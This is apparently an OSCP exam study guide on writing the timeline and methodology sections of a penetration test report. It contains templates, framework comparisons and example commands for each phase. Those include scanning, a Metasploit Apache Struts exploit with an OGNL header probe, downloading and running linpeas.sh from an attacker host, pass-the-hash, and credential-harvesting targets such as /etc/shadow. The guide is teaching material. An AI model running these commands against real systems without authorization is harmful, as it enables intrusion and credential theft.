Domain 1Recon & ReportingCORE

Timeline and Methodology Documentation

Guide to documenting the engagement timeline and testing methodology in penetration test reports, including phase descriptions, tool documentation, and framework references.

Domain: Domain 1: Reconnaissance & Reporting•Updated: 2026-09-01
#timeline#methodology#engagement-phases#documentation#oscp-exam

OSCP Report Writing: Timeline and Methodology Documentation

1. Engagement Timeline

Why Timeline Documentation Matters

Documenting the engagement timeline provides:

  • Transparency: Shows what was done, when, and how long it took.
  • Reproducibility: Another tester should be able to follow your methodology.
  • Efficiency: Demonstrates that time was used effectively.
  • Accountability: Provides a record of all activities performed.
  • Legal protection: Documents the scope and timing of authorized activities.

Timeline Components

Component Description Example
Planning Phase Scope definition, rules of engagement, tool preparation 2026-08-01 to 2026-08-05
Execution Phase Reconnaissance, scanning, exploitation, post-exploitation 2026-08-06 to 2026-08-13
Reporting Phase Analysis, report writing, review, delivery 2026-08-15 to 2026-08-24

Timeline Documentation Template

#### Engagement Timeline

| Date | Activity | Duration | Notes |
|---|---|---|---|
| 2026-08-06 | Initial reconnaissance | 4 hours | DNS enumeration, WHOIS lookup, target identification |
| 2026-08-07 | Port scanning | 2 hours | nmap full scan of 10.10.10.0/24 subnet |
| 2026-08-08 | Web application testing | 6 hours | Burp Suite analysis of webapp.example.com |
| 2026-08-09 | Exploitation attempts | 8 hours | SQL injection, command injection, authentication bypass |
| 2026-08-10 | Successful exploitation | 4 hours | Gained user access on 10.10.10.100 via Apache Struts RCE |
| 2026-08-11 | Privilege escalation | 6 hours | Kernel exploit for root access on 10.10.10.100 |
| 2026-08-12 | Post-exploitation | 3 hours | Data enumeration, lateral movement attempts |
| 2026-08-13 | Evidence collection | 2 hours | Screenshots, command output, file hashing |

OSCP Exam Timeline

For the OSCP exam, the timeline is compressed into a 24-hour window:

Phase Typical Duration Activities
Initial Reconnaissance 1-2 hours nmap scanning, service enumeration
Vulnerability Identification 2-4 hours Web app testing, exploit research
Exploitation 4-8 hours Gaining initial access on machines
Privilege Escalation 4-8 hours Escalating to root/admin on each machine
Documentation Ongoing Screenshots, notes, command logging
Report Writing 1 working day after Full report composition

2. Methodology Documentation

What is Methodology?

Methodology is the structured approach you follow during the penetration test. It defines the phases, techniques, and tools used to conduct the assessment.

Standard Penetration Testing Phases

Phase Description Tools Used Output
Reconnaissance Information gathering about targets theHarvester, Maltego, WHOIS, DNS enumeration Target list, DNS records, subdomains
Scanning Port and service enumeration nmap, masscan, Nikto, enum4linux Open ports, service versions, banners
Vulnerability Analysis Identifying exploitable weaknesses Nessus, OpenVAS, manual review, searchsploit Vulnerability list, CVE matches
Exploitation Attempting to exploit vulnerabilities Metasploit, custom scripts, manual exploitation Successful exploits, shell access
Post-Exploitation Maintaining access, privilege escalation LinPEAS, WinPEAS, Mimikatz, custom scripts Root/admin access, credential dumps
Lateral Movement Moving between systems PsExec, WMI, SSH, pass-the-hash Access to additional systems
Reporting Documenting findings and recommendations Word, Markdown, LaTeX Final report

Detailed Phase Descriptions

Phase 1: Reconnaissance

Objective: Gather information about the target environment.

Activities:

  • DNS enumeration (subdomains, records)
  • WHOIS lookups
  • Search engine reconnaissance (Google dorking)
  • Social media and public source intelligence
  • Network range identification

Tools:

# DNS enumeration
dnsenum 10.10.10.0/24
sublist3er -d example.com

# WHOIS lookup
whois example.com

# Search engine reconnaissance
# Google dorks: site:example.com filetype:pdf

Output:

  • List of target IP addresses
  • DNS records (A, MX, NS, TXT)
  • Subdomain list
  • Publicly available information

Phase 2: Scanning

Objective: Identify open ports, running services, and potential attack surfaces.

Activities:

  • Port scanning (TCP, UDP)
  • Service version detection
  • Script scanning (default scripts)
  • Operating system detection
  • Web application enumeration

Tools:

# Comprehensive port scan
nmap -sC -sV -oA initial 10.10.10.100

# Full port scan
nmap -p- -oA fullscan 10.10.10.100

# UDP scan
nmap -sU -p- -oA udpscan 10.10.10.100

# Web directory enumeration
gobuster dir -u http://10.10.10.100 -w /usr/share/wordlists/dirb/common.txt

# SMB enumeration
enum4linux -a 10.10.10.100

Output:

  • List of open ports and services
  • Service versions and banners
  • Operating system information
  • Web application directories and files

Phase 3: Vulnerability Analysis

Objective: Identify and validate exploitable vulnerabilities.

Activities:

  • Vulnerability scanning (automated)
  • Manual vulnerability testing
  • Exploit research (searchsploit, Exploit-DB)
  • Vulnerability validation
  • Risk assessment

Tools:

# Vulnerability search
searchsploit Apache Struts 2.5.30

# Automated scanning
nessus -N -q -t 10.10.10.100

# Manual testing
# Burp Suite for web application testing
# Manual SQL injection testing
# Manual command injection testing

Output:

  • List of identified vulnerabilities
  • CVE matches and exploit availability
  • Risk assessment for each vulnerability
  • Prioritized exploitation targets

Phase 4: Exploitation

Objective: Attempt to exploit identified vulnerabilities to gain access.

Activities:

  • Exploit selection and preparation
  • Exploit execution
  • Shell establishment
  • Access verification

Tools:

# Metasploit exploitation
msfconsole
use exploit/multi/http/apache_struts2_content_type_ognl
set RHOSTS 10.10.10.100
exploit

# Custom exploit
python3 exploit.py --target 10.10.10.100

# Manual exploitation
curl -H "Content-Type: %{#context['response'].addHeader('vulnerable','true')}" http://10.10.10.100

Output:

  • Successful exploitation confirmation
  • Shell access (command shell, reverse shell)
  • Initial user context

Phase 5: Post-Exploitation

Objective: Maintain access, escalate privileges, and enumerate the system.

Activities:

  • Shell stabilization and upgrade
  • System enumeration
  • Privilege escalation enumeration
  • Privilege escalation exploitation
  • Credential harvesting
  • Data enumeration

Tools:

# Linux enumeration
wget http://10.10.14.5/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

# Windows enumeration
# Upload and run WinPEAS
WinPEAS.exe

# Privilege escalation
# Kernel exploits, SUID binaries, cron jobs, sudo misconfigurations

# Credential harvesting
# /etc/passwd, /etc/shadow, SSH keys, browser passwords

Output:

  • System information (OS, kernel, users, groups)
  • Privilege escalation vectors
  • Harvested credentials
  • Sensitive data locations

Phase 6: Lateral Movement

Objective: Move between systems to expand access.

Activities:

  • Network enumeration from compromised system
  • Credential reuse attempts
  • Pass-the-hash / pass-the-ticket
  • WMI / PsExec / SSH lateral movement

Tools:

# Network enumeration
nmap -sC -sV 10.10.10.0/24

# SSH lateral movement
ssh user@10.10.10.101

# Pass-the-hash
pth-winexe -U user%hash //10.10.10.101 cmd

# PsExec
psexec.py user@10.10.10.101

Output:

  • Additional compromised systems
  • Expanded access and privileges
  • Network topology understanding

Phase 7: Reporting

Objective: Document all findings, evidence, and recommendations.

Activities:

  • Evidence organization
  • Report writing
  • Review and editing
  • Final delivery

Tools:

  • Microsoft Word / LibreOffice Writer
  • Markdown editors
  • Screenshot annotation tools
  • PDF generators

Output:

  • Final penetration test report
  • Executive summary
  • Technical findings
  • Remediation recommendations

3. Methodology Frameworks

Framework Comparison

Framework Phases Best For OSCP Relevance
PTES 7 phases Complete testing lifecycle High (industry standard)
OSSTMM 6 phases Operational security testing Medium
NIST 800-115 3 phases Government and enterprise High (widely recognized)
Cyber Kill Chain 7 stages Attack simulation Medium (defensive focus)
MITRE ATT&CK Tactics and techniques Adversary emulation Medium (reference framework)

The PTES framework is the most comprehensive and widely adopted penetration testing methodology. It aligns well with the OSCP exam structure.

PTES Phase OSCP Equivalent Description
1. Pre-Engagement N/A (provided by Offensive Security) Scope, rules, legal authorization
2. Intelligence Gathering Reconnaissance Information gathering
3. Threat Modeling N/A (implicit in OSCP) Identifying attack vectors
4. Vulnerability Analysis Scanning and enumeration Finding vulnerabilities
5. Exploitation Exploitation Gaining access
6. Post-Exploitation Post-exploitation and privilege escalation Maintaining access, escalating privileges
7. Reporting Report writing Documenting findings

4. Documenting Your Methodology in the Report

Methodology Section Template

#### Methodology

The penetration test was conducted following the Penetration Testing Execution 
Standard (PTES) methodology, consisting of the following phases:

**Phase 1: Reconnaissance**
Information gathering was performed using open-source intelligence (OSINT) 
techniques, DNS enumeration, and search engine reconnaissance to identify 
target systems and potential attack surfaces.

**Phase 2: Scanning**
Port scanning and service enumeration were conducted using nmap to identify 
open ports, running services, and potential vulnerabilities. Web application 
enumeration was performed using Burp Suite and directory brute-forcing tools.

**Phase 3: Vulnerability Analysis**
Identified services and applications were analyzed for known vulnerabilities 
using automated scanners and manual testing. Exploit research was conducted 
using searchsploit and Exploit-DB to identify potential exploitation vectors.

**Phase 4: Exploitation**
Vulnerabilities were exploited using the Metasploit Framework, custom scripts, 
and manual exploitation techniques to gain initial access to target systems.

**Phase 5: Post-Exploitation**
After gaining initial access, privilege escalation enumeration was performed 
using LinPEAS/WinPEAS. Privilege escalation was achieved through kernel 
exploits, SUID binary abuse, and configuration misconfigurations.

**Phase 6: Reporting**
All findings were documented with evidence, including screenshots, command 
output, and proof of exploitation. Remediation recommendations were provided 
for each finding.

Tools Used Section Template

#### Tools Used

| Tool | Version | Purpose |
|---|---|---|
| nmap | 7.94 | Port scanning and service enumeration |
| Metasploit Framework | 6.3 | Exploitation framework |
| Burp Suite Professional | 2024.1 | Web application testing |
| John the Ripper | 1.9.0 | Password cracking |
| Hydra | 9.5 | Online password brute forcing |
| LinPEAS | 2024.06 | Linux privilege escalation enumeration |
| WinPEAS | 2024.03 | Windows privilege escalation enumeration |
| Gobuster | 3.6 | Directory and DNS enumeration |
| searchsploit | 2024.04 | Exploit database search |
| Netcat | 1.226 | Network utility, reverse shells |
| Python | 3.11 | Custom exploitation scripts |
| Wireshark | 4.2 | Network packet analysis |

5. Key Takeaways

  1. Document the timeline. Record what you did, when, and how long it took.
  2. Follow a methodology. Use a recognized framework like PTES or NIST 800-115.
  3. Describe each phase. Explain what you did in each phase and why.
  4. List your tools. Document all tools used with versions and purposes.
  5. Be transparent. Document what you actually did, not what you think you should have done.
  6. For OSCP: The methodology section demonstrates your professional approach and understanding of the penetration testing process.

6. Further Reading